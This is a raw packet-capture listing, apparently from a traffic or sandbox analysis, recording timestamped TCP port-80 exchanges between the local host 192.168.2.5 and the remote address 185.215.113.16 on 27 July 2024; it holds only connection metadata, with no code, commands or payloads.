Jul 27, 2024 09:25:13.047054052 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.047060966 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.047076941 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.047080040 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.047091007 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.047099113 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.047106981 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.047122955 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.047137022 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.047138929 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.047154903 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.047168016 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.047188997 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.047202110 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.047290087 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.047332048 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.047348022 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.047365904 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.047380924 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.047383070 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.047393084 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.047396898 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.047410011 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.047413111 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.047420025 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.047436953 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.047446966 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.047543049 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.047590017 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.047734976 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.047749996 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.047765970 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.047780037 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.047780991 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.047795057 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.047796965 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.047796965 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.047810078 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.047821045 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.047826052 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.047830105 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.047841072 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.047846079 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.047856092 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.047863960 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.047872066 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.047873020 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.047888041 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.047897100 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.047904015 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.047911882 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.047919989 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.047928095 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.047935009 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.047936916 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.047950983 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.047960043 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.047966003 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.047976017 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.047981977 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.047996998 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.048005104 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.048022985 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.048237085 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.048252106 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.048266888 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.048281908 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.048289061 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.048289061 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.048297882 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.048305988 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.048324108 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.048338890 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.048355103 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.048371077 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.048386097 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.048387051 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.048387051 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.048401117 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.048413038 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.048413038 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.048413038 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.048413038 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.048417091 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.048433065 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.048441887 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.048446894 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.048454046 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.048463106 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.048477888 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.048477888 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.048504114 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.048511028 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.048511028 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.048522949 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.048552036 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.048866034 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.048881054 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.048896074 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.048909903 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.048916101 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.048926115 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.048928022 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.048928022 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.048942089 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.048950911 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.048958063 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.048962116 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.048969984 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.048973083 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.048989058 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.048993111 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.049004078 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.049005032 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.049020052 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.049026012 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.049035072 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.049038887 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.049057961 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.049067974 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.049175024 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.049190998 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.049223900 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.049238920 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.050137043 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.050162077 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.050178051 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.050189018 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.050200939 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.050210953 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.050331116 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.050348043 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.050363064 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.050376892 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.050384998 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.050384998 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.050398111 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.050416946 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.101749897 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.101783991 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.101799965 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.101814985 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.101830006 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.101845026 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.101861954 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.102160931 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.102184057 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.102200031 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.102214098 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.102229118 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.102243900 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.102245092 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.102258921 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.102287054 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.102302074 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.102317095 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.102333069 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.102346897 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.102363110 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.102377892 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.102394104 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.102416039 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.102431059 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.102446079 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.102463961 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.102478981 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.102494955 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.102509975 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.102509022 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.102509022 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.102525949 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.102555037 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.102570057 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.102585077 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.102602005 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.102838993 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.102839947 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.102839947 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.102839947 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.102839947 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.138747931 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.138772011 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.138787985 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.138803959 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.138819933 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.138835907 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.138974905 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.138974905 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.140611887 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.140644073 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.140660048 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.140675068 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.140690088 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.140705109 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.140719891 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.140733957 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.140748024 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.140763044 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.140778065 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.140791893 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.140808105 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.140822887 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.140837908 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.140855074 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.140891075 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.140891075 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.140892029 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.140892029 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.140892029 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.140974998 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.140990973 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.141005039 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.141020060 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.141033888 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.141048908 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.141093969 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.141108036 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.141135931 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.141150951 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.141165972 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.141189098 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.141204119 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.141220093 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.141330004 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.141330004 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.141330004 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.141380072 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.141395092 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.141410112 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.141424894 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.141434908 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.141442060 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.141446114 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.141467094 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.141485929 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.141486883 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.141499996 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.141534090 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.141535997 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.141549110 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.141563892 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.141572952 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.141572952 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.141596079 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.141606092 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.141643047 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.141665936 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.141696930 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.141891003 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.141906977 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.141921997 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.141927004 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.141937971 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.141958952 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.141993999 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.142009020 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.142023087 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.142038107 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.142045021 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.142045021 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.142095089 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.142134905 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.142153978 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.142169952 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.142184019 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.142199993 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.142318010 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.142332077 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.142334938 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.142334938 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.142334938 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.142334938 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.142348051 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.142385006 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.142385006 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.142594099 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.143228054 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.143244028 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.143260002 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.143280983 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.143280983 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.143296003 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.143338919 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.143364906 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.143379927 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.143382072 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.143399000 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.143405914 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.143414021 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.143436909 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.143506050 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.143522024 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.143537045 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.143549919 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.143553019 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.143559933 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.143568993 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.143587112 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.143646955 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.143662930 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:13.143696070 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.143709898 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.398674965 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:13.403882980 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.250157118 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.250189066 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.250209093 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.250261068 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.250261068 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.250479937 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.250490904 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.250497103 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.250505924 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.250516891 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.250525951 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.250545025 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.250550032 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.250560999 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.250566006 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.250571012 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.250571966 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.250576973 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.250581026 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.250586033 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.250591993 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.250596046 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.250602007 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.250606060 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.250610113 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.250617027 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.250627995 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.250758886 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.250758886 CEST	49705	80	192.168.2.5	185.215.113.16
